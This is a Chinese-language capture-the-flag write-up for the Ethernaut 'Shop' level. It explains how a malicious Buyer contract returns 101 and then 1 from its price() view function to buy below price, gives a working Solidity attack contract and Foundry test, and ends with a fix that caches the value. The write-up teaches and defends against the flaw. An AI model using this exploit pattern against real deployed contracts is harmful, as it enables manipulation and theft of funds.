🎯 Ethernaut Level 21: Shop - 外部调用状态变化漏洞
关卡链接: Ethernaut Level 21 - Shop
攻击类型: 外部调用状态变化 / 伪 view 函数
难度: ⭐⭐☆☆☆
📋 挑战目标
你需要从 Shop 合约中买下商品。但有一个条件:你必须以低于原价(100)的价格买下它。最终目标是让 price 变量的值小于100,并且 isSold 为 true。


🔍 漏洞分析
让我们看一下 Shop 合约的 buy() 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| contract Shop { uint public price = 100; bool public isSold;
function buy() public { Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } }
// The interface the buyer must implement interface Buyer { function price() external view returns (uint); }
|
漏洞在于 buy() 函数对外部合约 _buyer 的 price() 函数进行了两次调用:
- 第一次调用: 在
if 条件判断中 _buyer.price() >= price。
- 第二次调用: 在
if 块内部,用于更新 price 变量 price = _buyer.price()。
Buyer 接口将 price() 函数标记为 view,这通常意味着该函数不应改变状态。然而,EVM 并不强制 view 函数不能依赖于状态。一个外部合约的 view 函数完全可以在两次调用之间返回不同的值,只要它的返回值依赖于某些在两次调用之间发生变化的状态。
我们的攻击思路如下:
- 创建一个攻击合约,实现
Buyer 接口。
- 在攻击合约的
price() 函数中加入逻辑:如果 Shop 合约的 isSold 状态为 false,则返回一个大于或等于100的值(例如101),以通过 if 检查。如果 isSold 为 true,则返回一个小于100的值(例如1)。
- 当我们调用
buy() 时:
if 条件检查:isSold 是 false,我们的 price() 返回 101。101 >= 100 为真,检查通过。
- 进入
if 块:isSold 被设置为 true。
- 更新
price:price = _buyer.price() 被调用。此时 isSold 已经是 true,所以我们的 price() 函数返回 1。Shop 合约的 price 变量被更新为 1。
这样,我们就成功地以低价买下了商品。
💻 Foundry 实现
攻击合约代码
攻击合约实现了 Buyer 接口,其 price() 函数根据 Shop 合约的 isSold 状态返回不同的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface IShop { function isSold() external view returns (bool); function price() external view returns (uint); function buy() external; }
contract Attack { IShop shop;
constructor(address _shopAddress) { shop = IShop(_shopAddress); }
// 这个 price 函数是攻击的核心 function price() public view returns (uint256) { // 如果商品还没卖出,返回高价以通过检查 // 如果已经卖出(在同一次 buy 调用中),返回低价来更新 price if (shop.isSold()) { return 1; } else { return 101; } }
function attack() public { shop.buy(); } }
|
Foundry 测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0;
import "forge-std/Test.sol"; import "src/21_Shop.sol";
// Attack contract (as defined above) contract Attack { IShop shop; constructor(address _shop) { shop = IShop(_shop); } function price() public view returns (uint256) { return shop.isSold() ? 1 : 101; } function attack() public { shop.buy(); } }
contract ShopTest is Test { Shop instance; Attack attacker; address player;
function setUp() public { player = vm.addr(1); instance = new Shop(); attacker = new Attack(address(instance)); }
function testAttack() public { vm.startPrank(player); attacker.attack(); vm.stopPrank();
// 验证攻击是否成功 assertEq(instance.price(), 1, "Price should be updated to 1"); assertTrue(instance.isSold(), "isSold should be true"); } }
|
关键攻击步骤
- 部署攻击合约: 创建
Attack 合约,它实现了 Buyer 接口。
- 调用
attack(): Attack 合约的 attack() 函数调用 Shop 合约的 buy() 函数。
- 双重返回值:
Shop 合约在同一次 buy() 调用中两次调用 Attack 合约的 price() 函数,但由于 Shop 的内部状态 isSold 发生了变化,Attack 的 price() 函数返回了两个不同的值,从而绕过了逻辑检查并以低价成交。
🛡️ 防御措施
不要在一次交易中多次调用外部 view 函数: 如果必须这样做,请将第一次调用的返回值存储在一个局部变量中,并在后续逻辑中使用这个局部变量,而不是再次进行外部调用。
1 2 3 4 5 6 7 8 9 10
| // 修复建议 function buy() public { Buyer _buyer = Buyer(msg.sender); uint _price = _buyer.price(); // 只调用一次,并将结果存入局部变量
if (_price >= price && !isSold) { isSold = true; price = _price; // 使用局部变量 } }
|
遵循“检查-生效-交互”模式: 尽管本例中的交互是一个 view 函数,但它仍然是与外部合约的交互。最佳实践是在所有状态变更(“生效”)之后再进行交互。然而,在本例中,更好的修复方法是缓存返回值。
🔧 相关工具和技术
view 函数的误解: view 关键字只向编译器承诺该函数不会修改状态。它并不保证函数的返回值是纯粹的或在一次交易中保持不变。
- 跨合约调用的状态依赖: 一个合约的函数可以依赖于另一个合约的状态,这可能导致像本例中这样意想不到的行为。
- Foundry
prank: 模拟来自特定地址(player -> attacker)的调用链,是测试此类交互式攻击的理想工具。
🎯 总结
核心概念:
- 外部
view 函数的返回值不是恒定的,它可以在一次交易的不同阶段发生变化。
- 在一次函数执行中多次调用同一个外部
view 函数是一个危险的模式,因为它的返回值可能在你意想不到的时候发生改变。
攻击向量:
- 设计一个恶意的
view 函数,使其根据目标合约的状态返回不同的值。
- 利用目标合约在检查和执行阶段之间状态的变化,来操纵
view 函数的返回值,从而绕过安全检查。
防御策略:
- 当需要多次使用外部调用的结果时,应将其缓存在一个局部变量中,以确保其在整个函数执行过程中的一致性。
📚 参考资料
🔗 相关链接
在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓